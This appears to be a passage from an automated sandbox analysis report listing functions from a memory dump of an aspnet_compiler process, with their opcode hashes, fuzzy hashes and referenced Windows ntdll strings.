                                                        • Instruction Fuzzy Hash: 7C90026574180482E101715C4424B060045D7E1305F55C055E1064598DC619CD966226
                                                        Function 012F2F60 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 08683c7dedf45bd3b8d7fe052f0899caf72fa2fc3f8bbca19dfe26b49d8820cb
                                                        • Instruction ID: 0044d8e40ab37e28cef5a35693e5a391448fb3b277400fe0c308f653e75f867a
                                                        • Opcode Fuzzy Hash: 08683c7dedf45bd3b8d7fe052f0899caf72fa2fc3f8bbca19dfe26b49d8820cb
                                                        • Instruction Fuzzy Hash: 4790026561180082E105715C4414706008597E1205F55C052A2154598CC5298DA55225
                                                        Function 012F2FA0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4ef97bda5e0dd0ef960611a00915c0959efe638a59d65bc3cce53224396b4637
                                                        • Instruction ID: 6244a04e71c7d65b0232738d2fd85ede13cc6130c06f4bbf165df4458af59850
                                                        • Opcode Fuzzy Hash: 4ef97bda5e0dd0ef960611a00915c0959efe638a59d65bc3cce53224396b4637
                                                        • Instruction Fuzzy Hash: FF900235601C0442E101715C4818747004597D0306F55C051A5164599EC665C9D56631
                                                        Function 012F2FB0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1cf7a7137cae2fae5de3090ed4cf4285908d4d896cc113a72109ec2b37708d5c
                                                        • Instruction ID: 34190692bd363b9eacce599852a37ef5458d91dffe3f8396d5348a8117cecf52
                                                        • Opcode Fuzzy Hash: 1cf7a7137cae2fae5de3090ed4cf4285908d4d896cc113a72109ec2b37708d5c
                                                        • Instruction Fuzzy Hash: ED900225A01800829141716C88549064045BBE1215755C161A0998594DC55989A95765
                                                        Function 012F2F90 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 49100aedb718bbe96f4d6293ff060d4cd1001547498395c9a09aa3990448157e
                                                        • Instruction ID: d9eeece03d93f8ffbe6611faca1c97fa85e678ee7f430ce84caeb38c0a023939
                                                        • Opcode Fuzzy Hash: 49100aedb718bbe96f4d6293ff060d4cd1001547498395c9a09aa3990448157e
                                                        • Instruction Fuzzy Hash: BF900235601C0442E101715C482470B004597D0306F55C051A1164599DC62589956671
                                                        Function 012F2FE0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 844f8c82208a41b8afbfeea5bd421b564403b16f7357c7d4937ac76fdbca3563
                                                        • Instruction ID: dce2efc50a50972b32498191e55bfd8944339d14ea056a13f40a5f5f4b03db5b
                                                        • Opcode Fuzzy Hash: 844f8c82208a41b8afbfeea5bd421b564403b16f7357c7d4937ac76fdbca3563
                                                        • Instruction Fuzzy Hash: 75900225611C0082E201756C4C24B07004597D0307F55C155A0154598CC91589A55621
                                                        Function 012F2E30 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: fd0e0cc35fa6e5f2e494ddece836a474529356883e919ce2f1144c2e1c1f44f9
                                                        • Instruction ID: 8cb34b53e852ab9841d205e62016a3482c32162bf4f9f36e896f7972fc26b7da
                                                        • Opcode Fuzzy Hash: fd0e0cc35fa6e5f2e494ddece836a474529356883e919ce2f1144c2e1c1f44f9
                                                        • Instruction Fuzzy Hash: 6190022570180442E103715C44246060049D7D1349F95C052E1424599DC6258A97A232
                                                        Function 012F2EA0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c88bd70d515f742cd5696f7460a812aa12cb19a31b1353d3bc8aa13311f81af0
                                                        • Instruction ID: a86199776a22ab5e00d9d00a04d1143a355ba44faf73875afb9015fe474f4277
                                                        • Opcode Fuzzy Hash: c88bd70d515f742cd5696f7460a812aa12cb19a31b1353d3bc8aa13311f81af0
                                                        • Instruction Fuzzy Hash: 6E90027560180442E141715C4414746004597D0305F55C051A5064598EC6598ED96765
                                                        Function 012F2E80 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b6f4fc5e0d045f0efc2334fe8820b38e132b4d9f2220d1bb657a06bd3c73996d
                                                        • Instruction ID: 50536e424b3db294850a7f7acb5383f339d96edbf2b3734a91406a166140dfe7
                                                        • Opcode Fuzzy Hash: b6f4fc5e0d045f0efc2334fe8820b38e132b4d9f2220d1bb657a06bd3c73996d
                                                        • Instruction Fuzzy Hash: 16900225A0180542E102715C4414616004A97D0245F95C062A1024599ECA258AD6A231
                                                        Function 012F2EE0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 41e7ee289b84ffd857e97627f9f83cfc48e8b94a4465417a608cc7b959b7ead3
                                                        • Instruction ID: 4271c991a0fd3bbb6f11c31e57839ca343965226a0d647e2b9f283789dc1234e
                                                        • Opcode Fuzzy Hash: 41e7ee289b84ffd857e97627f9f83cfc48e8b94a4465417a608cc7b959b7ead3
                                                        • Instruction Fuzzy Hash: 9F900265601C0443E141755C4814607004597D0306F55C051A2064599ECA298D956235
                                                        Function 012F2C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                        • Instruction ID: 6c8963193191d935bed2c9f46b4b002bb5bc3c977e2c3e090d4340e6e67e30a0
                                                        • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                        • Instruction Fuzzy Hash:
                                                        Function 012F2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                        • API String ID: 48624451-2108815105
                                                        • Opcode ID: 2d438e8d1db28030f46a72353c47b5baa05f2af6e9051389e6e375083bb9232a
                                                        • Instruction ID: f2e72a976374451066d2fcc6105a315fec56423cf9f1768eb060e080cf8e025a
                                                        • Opcode Fuzzy Hash: 2d438e8d1db28030f46a72353c47b5baa05f2af6e9051389e6e375083bb9232a
                                                        • Instruction Fuzzy Hash: 2051E5B6A10157EFCB15DBAC889097FFBB8BB09244F60813DE6A5D7681D374DE4087A0
                                                        Function 012E7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • Execute=1, xrefs: 01324713
                                                        • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01324655
                                                        • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01324725
                                                        • CLIENT(ntdll): Processing section info %ws..., xrefs: 01324787
                                                        • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01324742
                                                        • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 013246FC
                                                        • ExecuteOptions, xrefs: 013246A0
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                        • API String ID: 0-484625025
                                                        • Opcode ID: 59d87dd2310a48cd89c4f893b6799ce62e2525bd5535920a059ed239ccebe6a4
                                                        • Instruction ID: ce93c53b37f40ebc8fd8b64de25ba11f0575e226d603858d258281758406d11f
                                                        • Opcode Fuzzy Hash: 59d87dd2310a48cd89c4f893b6799ce62e2525bd5535920a059ed239ccebe6a4
                                                        • Instruction Fuzzy Hash: AE512D3161021ABEEF15EAA9DC49FFE77ECAF14318F4400A9D605A7190D7709A458F91
                                                        Function 012FB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: __aulldvrm
                                                        • String ID: +$-$0$0
                                                        • API String ID: 1302938615-699404926
                                                        • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                        • Instruction ID: b646757ba961a5c656adcf50d40cc58830731fd1d0598c3929c24ad7da836908
                                                        • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                        • Instruction Fuzzy Hash: 6D81C471E2524A9EEF298E6CC8917FEFBB6AF85310F18413DDB51A7291C7349840CB51
                                                        Function 012EBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RTL: Resource at %p, xrefs: 01327B8E
                                                        • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01327B7F
                                                        • RTL: Re-Waiting, xrefs: 01327BAC
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                        • API String ID: 0-871070163
                                                        • Opcode ID: 14f6519e90b43f85c974d7ead204bebdc610a152bf8ed021548880b75d9bf7b0
                                                        • Instruction ID: 58c1577a418514c554c650ee6ac3f2938842ec7aa93f5928937dbe68893a2073
                                                        • Opcode Fuzzy Hash: 14f6519e90b43f85c974d7ead204bebdc610a152bf8ed021548880b75d9bf7b0
                                                        • Instruction Fuzzy Hash: A74100357117039FDB21DE29C845B2AB7E5FF98714F400A2DFA5ADB280DB71E8058B91
                                                        Function 012EB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0132728C
                                                        Strings
                                                        • RTL: Resource at %p, xrefs: 013272A3
                                                        • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01327294
                                                        • RTL: Re-Waiting, xrefs: 013272C1
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                        • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                        • API String ID: 885266447-605551621
                                                        • Opcode ID: 782a50b727ef608923bdca9b373c9aa49e7cb93ad4e7917bcfdb2cea8448fdac
                                                        • Instruction ID: 6297b7758375786c06dddc017f1926b91395ea9337147247bd4e7c923fd4e7f5
                                                        • Opcode Fuzzy Hash: 782a50b727ef608923bdca9b373c9aa49e7cb93ad4e7917bcfdb2cea8448fdac
                                                        • Instruction Fuzzy Hash: E1411035710317ABD721EE29CC41B66B7E5FBA5718F100618F955EB280DB30F81287D1
                                                        Function 012F7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: __aulldvrm
                                                        • String ID: +$-
                                                        • API String ID: 1302938615-2137968064
                                                        • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                        • Instruction ID: 9f408157e56de124c8c1721d2097cd780b54ddc73620f8655f6fcaf4da779e85
                                                        • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                        • Instruction Fuzzy Hash: 4591A071E2020B9BEB24DF6DC881ABEFBA5AF44720F54463EEB55E72C0D77099418B11
                                                        Function 012B9126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: $$@
                                                        • API String ID: 0-1194432280
                                                        • Opcode ID: e31412a27819a56ac075f15c5fff98fe3796d95f8599dea1220f368bbfda1465
                                                        • Instruction ID: 955be05cc14bd9113e5acc8b9b073c78985e4d7be319e5d620215bf1b216e059
                                                        • Opcode Fuzzy Hash: e31412a27819a56ac075f15c5fff98fe3796d95f8599dea1220f368bbfda1465
                                                        • Instruction Fuzzy Hash: D6811BB1D10269DBDB35CB54CC45BEEB6B8AF08754F1041EAEA19B7280E7705E84CFA0
                                                        Function 0133CEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • @_EH4_CallFilterFunc@8.LIBCMT ref: 0133CFBD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: CallFilterFunc@8
                                                        • String ID: @$@4Cw@4Cw
                                                        • API String ID: 4062629308-3101775584
                                                        • Opcode ID: 29791d308ab259a4022226d9818957034790e5ea1e93e3e2760debd2b67bb964
                                                        • Instruction ID: 822999ca7b11e474f2d5616f7f04bfe02b1588e124ae7aed81b9936b31c61ee2
                                                        • Opcode Fuzzy Hash: 29791d308ab259a4022226d9818957034790e5ea1e93e3e2760debd2b67bb964
                                                        • Instruction Fuzzy Hash: 5941C0B1900219DFCB21DFA9C840AAEFBB8FF94B48F40412EEA15EB254D734D805CB64